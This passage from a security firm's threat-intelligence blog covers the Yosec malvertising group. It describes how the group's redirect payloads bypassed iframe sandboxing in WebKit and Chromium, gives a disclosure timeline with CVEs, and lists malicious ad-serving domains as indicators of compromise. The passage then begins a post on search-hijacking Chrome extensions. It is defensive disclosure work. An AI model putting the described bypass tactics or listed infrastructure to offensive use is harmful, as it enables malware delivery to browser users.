clickbait and away from forced redirects and pop-ups.</p><p>Despite this growing trend, some malvertisers, particularly those that push malware, continue to hang on to redirect tactics. Among the players that stuck it out, <strong>Yosec</strong> were one of the more consistent groups that ran large scale, high impact campaigns throughout 2020.</p><p>Much of the overall decline in disruptive redirects is due to several factors. First, ad tech security overall has matured greatly in the last four years. In addition, web browsers have made significant improvements around functionality that requires user activation from within iFrames &#8212; forced redirects are a prime example.</p><p>In spite of these improvements, cybercriminals often remain a step ahead with tricks and tooling to circumvent these measures as they always have. Case in point are the multiple browser bugs that we have reported to be abused by malvertisers in recent years:</p><h2></h2><p>This latest exploit was discovered as part of a raging malvertising campaign that rocked the ad tech ecosystem on November 3rd, 2020 with an estimated 100MM ad events impacted on that day alone.</p><p>Here&#8217;s the redirect payload that piqued our curiosity:</p><p>When it comes to nefarious JavaScript, it&#8217;s common to see a lot of things that simply don&#8217;t make sense, usually red herrings used to obfuscate the code. However, if you operate under the assumption that everything is intentional and dig deep, you might find that some of the confusing code is far from random.</p><p>As always with unique redirect payloads, we run a comprehensive suite of tests which includes analysis of their efficacy in seeming impossible environments like cross-origin iFrames, sandboxing, etc.</p><p>In this case, we found the payload effectively bypasses iframe sandboxing in both WebKit and Chromium based browsers.</p><h3><strong>Yosec Today</strong></h3><p>The malvertising group continues to stay active throughout 2021 at steady, but mostly modest volumes, smuggling redirect payloads behind benign looking display ads and using their own infrastructure for serving the creatives like this example from June:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!EiL3!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65cf460e-e3e6-4b64-87ca-c022cf1ba386_210x178.gif" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!EiL3!,w_424,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65cf460e-e3e6-4b64-87ca-c022cf1ba386_210x178.gif 424w, https://substackcdn.com/image/fetch/$s_!EiL3!,w_848,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65cf460e-e3e6-4b64-87ca-c022cf1ba386_210x178.gif 848w, https://substackcdn.com/image/fetch/$s_!EiL3!,w_1272,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65cf460e-e3e6-4b64-87ca-c022cf1ba386_210x178.gif 1272w, https://substackcdn.com/image/fetch/$s_!EiL3!,w_1456,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65cf460e-e3e6-4b64-87ca-c022cf1ba386_210x178.gif 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!EiL3!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65cf460e-e3e6-4b64-87ca-c022cf1ba386_210x178.gif" width="320" height="271.23809523809524" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/65cf460e-e3e6-4b64-87ca-c022cf1ba386_210x178.gif&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:178,&quot;width&quot;:210,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!EiL3!,w_424,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65cf460e-e3e6-4b64-87ca-c022cf1ba386_210x178.gif 424w, https://substackcdn.com/image/fetch/$s_!EiL3!,w_848,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65cf460e-e3e6-4b64-87ca-c022cf1ba386_210x178.gif 848w, https://substackcdn.com/image/fetch/$s_!EiL3!,w_1272,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65cf460e-e3e6-4b64-87ca-c022cf1ba386_210x178.gif 1272w, https://substackcdn.com/image/fetch/$s_!EiL3!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65cf460e-e3e6-4b64-87ca-c022cf1ba386_210x178.gif 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>We can get a sense of their day-over-day cadence by graphing daily volumes over the course of recent months. The peaks on the chart represent in the ballpark of ~600K ad impressions in the wild.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!WjWQ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0394331e-7632-4ac5-bddd-5928aa47f4c9_875x541.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!WjWQ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0394331e-7632-4ac5-bddd-5928aa47f4c9_875x541.png 424w, https://substackcdn.com/image/fetch/$s_!WjWQ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0394331e-7632-4ac5-bddd-5928aa47f4c9_875x541.png 848w, https://substackcdn.com/image/fetch/$s_!WjWQ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0394331e-7632-4ac5-bddd-5928aa47f4c9_875x541.png 1272w, https://substackcdn.com/image/fetch/$s_!WjWQ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0394331e-7632-4ac5-bddd-5928aa47f4c9_875x541.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!WjWQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0394331e-7632-4ac5-bddd-5928aa47f4c9_875x541.png" width="875" height="541" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0394331e-7632-4ac5-bddd-5928aa47f4c9_875x541.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:541,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!WjWQ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0394331e-7632-4ac5-bddd-5928aa47f4c9_875x541.png 424w, https://substackcdn.com/image/fetch/$s_!WjWQ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0394331e-7632-4ac5-bddd-5928aa47f4c9_875x541.png 848w, https://substackcdn.com/image/fetch/$s_!WjWQ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0394331e-7632-4ac5-bddd-5928aa47f4c9_875x541.png 1272w, https://substackcdn.com/image/fetch/$s_!WjWQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0394331e-7632-4ac5-bddd-5928aa47f4c9_875x541.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>And of course, since Yosec typically pushes malicious applications, they will target mainly desktop operating systems:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!MsUR!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa47356a6-7134-4fd3-bc0e-da6417b67c21_662x395.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!MsUR!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa47356a6-7134-4fd3-bc0e-da6417b67c21_662x395.png 424w, https://substackcdn.com/image/fetch/$s_!MsUR!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa47356a6-7134-4fd3-bc0e-da6417b67c21_662x395.png 848w, https://substackcdn.com/image/fetch/$s_!MsUR!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa47356a6-7134-4fd3-bc0e-da6417b67c21_662x395.png 1272w, https://substackcdn.com/image/fetch/$s_!MsUR!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa47356a6-7134-4fd3-bc0e-da6417b67c21_662x395.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!MsUR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa47356a6-7134-4fd3-bc0e-da6417b67c21_662x395.png" width="662" height="395" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a47356a6-7134-4fd3-bc0e-da6417b67c21_662x395.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:395,&quot;width&quot;:662,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!MsUR!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa47356a6-7134-4fd3-bc0e-da6417b67c21_662x395.png 424w, https://substackcdn.com/image/fetch/$s_!MsUR!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa47356a6-7134-4fd3-bc0e-da6417b67c21_662x395.png 848w, https://substackcdn.com/image/fetch/$s_!MsUR!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa47356a6-7134-4fd3-bc0e-da6417b67c21_662x395.png 1272w, https://substackcdn.com/image/fetch/$s_!MsUR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa47356a6-7134-4fd3-bc0e-da6417b67c21_662x395.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3><strong>Final Thought</strong></h3><p>Yosec is but one example of a sophisticated criminal enterprise that leverages digital advertising technology as a vector to deliver dangerous payloads.</p><p>In order to maximize the impact of such attacks, these malvertisers are very keen on exploiting any browser bugs that have broadened the scope of potential victim devices.</p><p>Iframe sandbox and user activation bypasses are ripe targets for these attackers, and while browser vendors do make an earnest attempt to patch these quickly, new functionality is constantly being introduced with every release &#8212; potentially increasing the attack surface for these types of abuses and increasing the severity of these already disruptive malware campaigns.</p><h3><strong>Timeline</strong></h3><p>Nov. 3, 2020 &#8212; Confiant detects a massive Yosec campaign with unique iframe sandbox bypass exploit.</p><p>Nov. 4, 2020 &#8212; Chrome team and Apple teams are notified.</p><p>Jan. 22, 2021 &#8212; Apple issues Webkit fix, CVE-2021&#8211;1765 is assigned.</p><p>Mar. 1, 2021 &#8212; Patched in Chrome.</p><p>May 24, 2021 &#8212; Chrome CVE-2021&#8211;30533 assigned.</p><h3><strong>References</strong></h3><p>https://bugs.chromium.org/p/chromium/issues/detail?id=1145553</p><p><br><a href="https://support.apple.com/en-us/HT212147">https://support.apple.com/en-us/HT212147</a></p><h3><strong>IOCs (Last 6 months)</strong></h3><pre><code>*.vidobron.com
*.zolbermedia.com
*.appzo-th.com
*.cloudrtb.com
*.brownstmedia.com
*.dartonload.com
*.realpasha.com
*.kneetotow.com
*.halperbul.com
*.kirzageria.com
*.trevorone.com
*.roadtocrowd.com
*.roxxanalytics.com
*.ishlem.com
*.marketianwasp.com
*.dreamybeard.com
*.parmaads.com
*.binsforall.com</code></pre><h3><strong>STIX:</strong></h3><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!e8E1!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5ab036b-e728-49ef-b2d5-64d0fedcc991_1218x850.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!e8E1!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5ab036b-e728-49ef-b2d5-64d0fedcc991_1218x850.png 424w, https://substackcdn.com/image/fetch/$s_!e8E1!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5ab036b-e728-49ef-b2d5-64d0fedcc991_1218x850.png 848w, https://substackcdn.com/image/fetch/$s_!e8E1!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5ab036b-e728-49ef-b2d5-64d0fedcc991_1218x850.png 1272w, https://substackcdn.com/image/fetch/$s_!e8E1!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5ab036b-e728-49ef-b2d5-64d0fedcc991_1218x850.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!e8E1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5ab036b-e728-49ef-b2d5-64d0fedcc991_1218x850.png" width="1218" height="850" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b5ab036b-e728-49ef-b2d5-64d0fedcc991_1218x850.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:850,&quot;width&quot;:1218,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!e8E1!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5ab036b-e728-49ef-b2d5-64d0fedcc991_1218x850.png 424w, https://substackcdn.com/image/fetch/$s_!e8E1!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5ab036b-e728-49ef-b2d5-64d0fedcc991_1218x850.png 848w, https://substackcdn.com/image/fetch/$s_!e8E1!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5ab036b-e728-49ef-b2d5-64d0fedcc991_1218x850.png 1272w, https://substackcdn.com/image/fetch/$s_!e8E1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5ab036b-e728-49ef-b2d5-64d0fedcc991_1218x850.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><a href="https://gist.githubusercontent.com/eliyastein/abea41b0693083688342da447a321871/raw/7e14d60f4ace80a60eeb272dd552e28431b9ca74/Yosec%202021%20Stix.json">https://gist.githubusercontent.com/eliyastein/abea41b0693083688342da447a321871/raw/7e14d60f4ace80a60eeb272dd552e28431b9ca74/Yosec%202021%20Stix.json</a></p>]]></content:encoded></item><item><title><![CDATA[Looking At Chrome Extensions That Hijack Search - Spread Via Malvertising]]></title><description><![CDATA[In this blog post we discuss an ongoing malvertising campaign that pushes search hijacking browser extensions.]]></description><link>https://blog.confiant.com/p/looking-at-chrome-extensions-that-hijack-search-spread-via-malvertising-28ddc548463c</link><guid isPermaLink="false">https://blog.confiant.com/p/looking-at-chrome-extensions-that-hijack-search-spread-via-malvertising-28ddc548463c</guid><dc:creator><![CDATA[Confiant]]></dc:creator><pubDate>Wed, 30 Jun 2021 19:47:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!h920!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb36e5a6-49b6-4d8c-b205-74113200ceb7_1000x664.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!h920!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb36e5a6-49b6-4d8c-b205-74113200ceb7_1000x664.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!h920!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb36e5a6-49b6-4d8c-b205-74113200ceb7_1000x664.jpeg 424w, https://substackcdn.com/image/fetch/$s_!h920!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb36e5a6-49b6-4d8c-b205-74113200ceb7_1000x664.jpeg 848w, https://substackcdn.com/image/fetch/$s_!h920!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb36e5a6-49b6-4d8c-b205-74113200ceb7_1000x664.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!h920!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb36e5a6-49b6-4d8c-b205-74113200ceb7_1000x664.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!h920!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb36e5a6-49b6-4d8c-b205-74113200ceb7_1000x664.jpeg" width="1000" height="664" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/eb36e5a6-49b6-4d8c-b205-74113200ceb7_1000x664.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:664,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!h920!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb36e5a6-49b6-4d8c-b205-74113200ceb7_1000x664.jpeg 424w, https://substackcdn.com/image/fetch/$s_!h920!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb36e5a6-49b6-4d8c-b205-74113200ceb7_1000x664.jpeg 848w, https://substackcdn.com/image/fetch/$s_!h920!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb36e5a6-49b6-4d8c-b205-74113200ceb7_1000x664.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!h920!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb36e5a6-49b6-4d8c-b205-74113200ceb7_1000x664.jpeg 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><code>                        </code>stock photo via Unsplash</p><p>In this blog post we discuss an ongoing malvertising campaign that pushes search hijacking browser extensions. We take a deep dive into the code of one of these extensions, and discuss the impact and scope of the campaign.</p><div><hr></div><h3><strong>First&#8202;&#8212;&#8202;A Sample</strong></h3><p>While studying the many potential payloads that victims of malvertising might be lured towards, we came upon an ongoing campaign that promotes odd Chrome Extensions with niche use cases:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!aCYa!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F297a8288-ff25-42d8-bbe0-ab3efdc9f9bc_1000x697.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!aCYa!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F297a8288-ff25-42d8-bbe0-ab3efdc9f9bc_1000x697.png 424w, 